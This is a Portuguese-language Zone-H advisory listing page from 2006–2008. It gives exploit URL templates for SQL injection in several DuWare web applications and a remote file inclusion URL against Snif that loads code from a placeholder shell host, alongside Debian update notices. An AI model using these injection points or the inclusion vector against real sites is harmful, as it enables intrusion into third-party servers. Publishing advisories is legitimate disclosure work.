Zone-H
Home arrow Avisos de Segurança
06 de October de 2008
 
 
Ataques desta semana
O.S.  Defs.  %
Linux  10839  74.77%
Win 2003  2544  17.55%
Win 2000  693  4.78%
FreeBSD  282  1.95%
SolarisSunOS  47  0.32%
Other  92  0.63%

Total de ataques: 14497 dos quais 4063 único(s) no ip e 10434 invasão(ões) em massa

Menu Principal
Home
Guerra Digital
Geopolítica
Notícias ITsec
Avisos de Segurança
Test Drive
360°
Sites atacados
Eventos do Zone-H
Fórum
Publicações
Zone-H Amigos/Parceiros
Contate-nos
Sobre este Site
Membros do Zone-H BR
Favoritos geral
Zone-H.org
Área de download
Avisos de Segurança
DuPortal Pro: Injeção de Codigos SQL Imprimir E-mail
Avaliação do Usuário: / 0
Por Raphael Martins (Ashiyakuza)   
02 de December de 2006
Nome do Script: DuPortal Pro
Site do script: http://www.duware.com
Versão Afetada: 3.4


Encontrado por Aria-Security Team
Email: Advisory [at] aria-security.net


Exploração:

http://target/DUportalPro34Demo/Pictures/default.asp?iChannel=1&nChannel=[Codigo SQL]
http://target/DUportalPro34Demo/Pictures/default.asp?iChannel=[Codigo SQL]
http://target/DUportalPro34Demo/Files/cat.asp?iCat=[Codigo SQL]
http://target/DUportalPro34Demo/Files/cat.asp?iCat=202&iChannel=[Codigo SQL]


 
DUdForum: Injeção de Códigos SQL Imprimir E-mail
Avaliação do Usuário: / 0
Por Raphael Martins (Ashiyakuza)   
02 de December de 2006
Nome do Script: DUdForum
Site do script: http://www.duware.com
Versão Afetada: 3.0


Encontrado por Aria-Security Team
Email: Advisory [at] aria-security.net


Exploração:

http://[target]/DUforum/messages.asp?iMsg=[Codigo SQL]
http://[target]/DUforum/forums.asp?iFor=[Codigo SQL]
 
DuPaypal: Injeção de Codigos SQL Imprimir E-mail
Avaliação do Usuário: / 0
Por Raphael Martins (Ashiyakuza)   
02 de December de 2006
Nome do Script: DuPaypal
Site do script: http://www.duware.com
Versão Afetada: -


Encontrado por Aria-Security Team
Email: Advisory [at] aria-security.net


Exploração:

http://target/type.asp?iType=[Codigo SQL]
http://target/detanil.asp?iFile=[Codigo SQL]
http://target/detail.asp?action=[Codigo SQL]
 
DSA 1205-2: Pacote de Atualização para o Thttpd Imprimir E-mail
Avaliação do Usuário: / 0
Por Raphael Martins (Ashiyakuza)   
01 de December de 2006
Debian disponibilizou um pacote de atualização para o pacote Thttpd que repara uma vulnerabilidade, que pode ser explorado por pessoas maliciosas  para causar um DoS(Negação de Serviço).


Abaixo seque a lista de atualização e plataformas...
Leia mais...
 
DSA 1223-1: Pacote de Atualização para o gnu tar Imprimir E-mail
Avaliação do Usuário: / 0
Por Raphael Martins (Ashiyakuza)   
01 de December de 2006

Debian disponibilizou um pacote de atualização para o pacote Gnu Tar, que repara uma vulnerabilidade, que pode ser explorado por um usuário malicioso para sobrescrever arquivos arbitrários induzindo a vítima a tentar extrair um arquivo especial, original do tar que contem o Registro do GNUTYPE_NAMES com uma ligação simbólica.


Abaixo seque a lista de atualização e plataformas...

Leia mais...
 
snif: Inclusão de Arquivos Remotos Imprimir E-mail
Avaliação do Usuário: / 0
Por Raphael Martins (Ashiyakuza)   
30 de November de 2006
Nome do Script: Snif
Site do script: http://www.bitfolge.de/snif-en.html
Versão Afetada: 1.5.2 e anteriores


Encontrado por S.W.A.T.
Email:adak.hacking [at] yahoo.com


Exploração:

http://www.site.com/[path]/index.php?externalConfig=http://shell?
 
<< Início < Anterior 1 2 3 4 5 6 7 8 9 Próximo > Fim >>

Resultados 105 - 130 de 233
 
Top! Top!